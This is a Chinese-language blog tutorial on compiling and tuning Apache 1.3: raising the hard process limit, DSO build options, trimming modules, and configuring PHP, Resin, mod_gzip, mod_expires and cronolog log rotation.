在FREEBSD和LINUX等UNIX操作系統下APACHE缺省的最大進程數是256個,需要修改apache_1.3.xx/src/include/httpd.h #ifndef HARD_SERVER_LIMIT #ifdef WIN32 #define HARD_SERVER_LIMIT 1024 #elif defined(NETWARE) #define HARD_SERVER_LIMIT 2048 #else #define HARD_SERVER_LIMIT 2560 <===將原來的HARD_SERVER_LIMIT 256 后面加個“0” #endif #endif 解釋: APACHE缺省的最大用戶數是256個:這個配置對于服務器內存還是256M左右的時代是一個非常好的缺省設置,但隨著內存成本的急劇下降,現在大型站點的服務器內存配置一般比當時要高一個數量級不止。所以256個進程的硬限制對于一臺1G內存的機器來說是太浪費了,而且APACHE的軟上限max_client是受限于HARD_SERVER_LIMIT的,因此如果WEB服務器內存大于256M,都應該調高APACHE的HARD_SERVER_LIMIT。根據個人的經驗:2560已經可以滿足大部分小于2G內存的服務器的容量規劃了(APACHE的軟上限的規劃請看后面)。 APACHE的編譯:通用的編譯選項能使安裝過程標準化 ./configure --prefix=/another_driver/apache/ --enable-shared=max --enable-module=most 解釋: --prefix=/another_driver/apache/: 一個系統使用壽命最低的一般就是硬盤,因此:將服務數據和系統完全分開,不僅能提高了數據的訪問速度,更重要的,大大方便系統升級,備份和恢復。 --shared-module=max:使用動態加載方式會帶來5%的性能下降,但和帶來的好處相比更本不算什么:比如模塊升級方便,系統升級風險降低,安裝過程標準化 --enable-module=most:用most可以將一些不常用的module編譯進來,比如后面講到的mod_expire是就不在apache的缺省常用模塊中 如果不想build so, 也可以這樣: ./configure \ "--with-layout=Apache" \ "--prefix=/path/to/apache" \ "--disable-module=access" \ "--disable-module=actions" \ "--disable-module=autoindex" \ "--disable-module=env" \ "--disable-module=imap" \ "--disable-module=negotiation" \ "--disable-module=setenvif" \ "--disable-module=status" \ "--disable-module=userdir" \ "--disable-module=cgi" \ "--disable-module=include" \ "--disable-module=auth" \ "--disable-module=asis" 但結果會發現,這樣編譯對服務性能只能有微小的提高(5%左右),但卻失去了以后系統升級和模塊升級的靈活性,無論是模塊還是APACHE本身升級都必須把所有SOURCE加在一起重新編譯。 apache的缺省配置文件一般比較大:我們可以使用去掉注釋的方法精簡一下:然后再進入具體的培植過程能讓你更快的定制出你所需要的。 grep -v "#" httpd.conf.default >httpd.conf 需要修改的通用項目有以下幾個: #服務端口,缺省是8080,建議將整個APACHE配置調整好后再將服務端口改到正式服務的端口 Port 8080 => 80 #服務器名:缺省沒有 ServerName name.example.com #最大服務進程數:根據服務容量預測設置 MaxClients 256 => 800 #缺省啟動服務后的服務進程數:等服務比較平穩后,按平均負載下的httpd個數設置就可以 StartServers 5 => 200 不要修改: 以前有建議說修改: MinSpareServers 5 => 100 MaxSpareServers 10 => 200 但從我的經驗看來:缺省值已經是非常優化的了,而且讓APACHE自己調整進程個數還是比較好的。 特別修改: 在solaris或一些比較容易出現內存泄露的應用上: MaxRequestsPerChild 0 =>3000 應用模塊和工具的安裝配置: 由于使用模塊動態加載的模式,所以可以方便的通過簡單的配置調整來把APACHE定制成你需要的:最好把不常用模塊全部清除(無論處于安全還是效率)。 比如:對于靜態頁面服務器:就什么模塊都不加載,對于PHP應用就加上PHP模塊,對于JAVA應用就把RESIN模塊加載上。而且各種模塊的插拔非常簡單。 一般說來,可以不需要的模塊包括: #LoadModule env_module libexec/mod_env.so #LoadModule negotiation_module libexec/mod_negotiation.so #LoadModule status_module libexec/mod_status.so #server side include已經過時了 #LoadModule includes_module libexec/mod_include.so #不需要將沒有缺省index文件的目錄下所有文件列出 #LoadModule autoindex_module libexec/mod_autoindex.so #盡量不使用CGI:一直是APACHE安全問題最多的地方 #LoadModule cgi_module libexec/mod_cgi.so #LoadModule asis_module libexec/mod_asis.so #LoadModule imap_module libexec/mod_imap.so #LoadModule action_module libexec/mod_actions.so #不使用安全校驗可以大大提高訪問速度 #LoadModule access_module libexec/mod_access.so #LoadModule auth_module libexec/mod_auth.so #LoadModule setenvif_module libexec/mod_setenvif.so 最好保留的有: #用于定制log格式 LoadModule config_log_module libexec/mod_log_config.so #用于增加文件應用的關聯 LoadModule mime_module libexec/mod_mime.so #用于缺省index文件:index.php等 LoadModule dir_module libexec/mod_dir.so 可用可不用的有: #比如:需要在~/username/下調試php可以將 LoadModule userdir_module libexec/mod_userdir.so #比如:需要將以前的URL進行轉向或者需要使用CGI script-alias LoadModule alias_module libexec/mod_alias.so 常用的模塊: 最常用的可能就是php和JAVA WEB應用的wrapper,此外,從性能上講:mod_gzip可以減少40%左右的流量,從而減少機器用于傳輸的負載,而mod_expires可以減少10%左右的重復請求,讓重復的用戶請求CACHE在本地,根本不向服務器發出請求。 建議將所有MODULE的配置都放到 PHP的安裝: /path/to/php_src/configure --with-apxs=/path/to/apache/bin/apxs --with-other-modules-you-need 需要修改的配置: AddType application/x-httpd-php .php .php3 .any_file_in_php resin的安裝設置: /path/to/resin/src/configure --with-apxs=/path/to/apache/bin/apxs 一般將具體的resin設置放在另外一個文件中: <IfModule mod_caucho.c> CauchoConfigFile /path/to/apache/conf/resin.conf </IfModule> mod_expires的安裝配置: <IfModule mod_expires.c> ExpiresActive on #所有的.gif文件1個月以后過期 ExpiresByType image/gif "access plus 1 month" #所有的文件缺省1天以后過期 ExpiresDefault "now plus 1 day" </IfModule> mod_gzip的安裝: /path/to/apache/bin/apxs -i -a -c mod_gzip.c mod_gzip和PHP在一起的配置 <IfModule mod_gzip.c> mod_gzip_on Yes mod_gzip_minimum_file_size 1000 mod_gzip_maximum_file_size 300000 mod_gzip_item_include file \.htm$ mod_gzip_item_include file \.html$ mod_gzip_item_include file \.php$ mod_gzip_item_include file \.php3$ mod_gzip_item_include mime text/.* mod_gzip_item_include mime httpd/unix-directory #不要讓mod_gzip和php的session使用同一個臨時目錄:php_session需要通過php.ini設置session.save_path = /tmp/php_sess mod_gzip_temp_dir /tmp/mod_gzip mod_gzip_dechunk Yes mod_gzip_keep_workfiles No </IfModule> mod_gzip和mod_php的配合:不要讓mod_gzip和mod_php使用同一個臨時目錄; mod_gzip和RESIN配合:要讓mod_gzip在mod_caucho后LOAD,否則mod_gzip不起作用 ...othr modules AddModule mod_so.c AddModule mod_caucho.c #notice: mod_gzip must load after mod_caucho AddModule mod_gzip.c AddModule mod_expires.c ... <IFModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk yes mod_gzip_keep_workfiles No mod_gzip_minimum_file_size 3000 mod_gzip_maximum_file_size 300000 mod_gzip_item_include file \.html$ mod_gzip_item_include mime text/.* mod_gzip_item_include mime httpd/unix-directory mod_gzip_item_include handler 'caucho-request' </IFModule> 日志輪循工具cronolog的安裝和設置:cronolog可以非常整齊的將日志按天輪循存儲 缺省編譯安裝到/usr/local/bin/下,只需要將配置改成: CustomLog "|/usr/local/sbin/cronolog /path/to/apache/logs/%w/access_log" combined 日志將按天截斷并存放在以weekday為目錄名的目錄下:比如:log/1是周一,log/5是周五, log/0是周日 升級維護: 由于使用標準化的DSO模式安裝APACHE,APACHE的HTTPD核心服務和應用模塊以及應用模塊之間都變的非常靈活,建議將所有獨立模塊的配置都放在 <IfModule mod_name> CONFIGURATIONS.. </IfModule> 里,這樣配置非常容易通過屏蔽某個模塊來進行功能調整:比如: #AddModule mod_gzip.c 就屏蔽了mod_gzip,其他模塊不首任何影響。 安裝和維護過程: 系統安裝:系統管理員的職責就是安裝系統和一個可以適應任何情況的APACHE,然后COLON。 應用安裝:由應用管理員負責具體應用所需要的模塊并設置HTTPD。 系統升級:系統管理員:升級系統/升級APACHE 應用升級:應用管理員:升級應用模塊 系統備份/恢復:如果APACHE不在缺省的系統盤上,只需要將APACHE目錄備份就可以了,遇到系統分區的硬件問題直接使用預先準備好的系統COLON,直接將APACHE所在物理盤恢復就行了。 系統管理員:APACHE的最簡化安裝 OS + APACHE(httpd core only) 應用管理員:應用模塊定制 +so +php +so +caucho +ssl 應用: 純靜態頁面服務: image.example.com www.example.com bbs.example.com mall.example.com 參考文檔: Apache http://httpd.apache.org php http://www.php.net Resin http://www.caucho.com mod_gzip http://www.remotecommunications.com/apache/mod_gzip/ Cronolog http://www.cronolog.org mod_expires http://httpd.apache.org/docs/mod/mod_expires.html |
![]() |
|
Copyright © 一天一點愛戀 | Powered by: 博客園 模板提供:滬江博客 |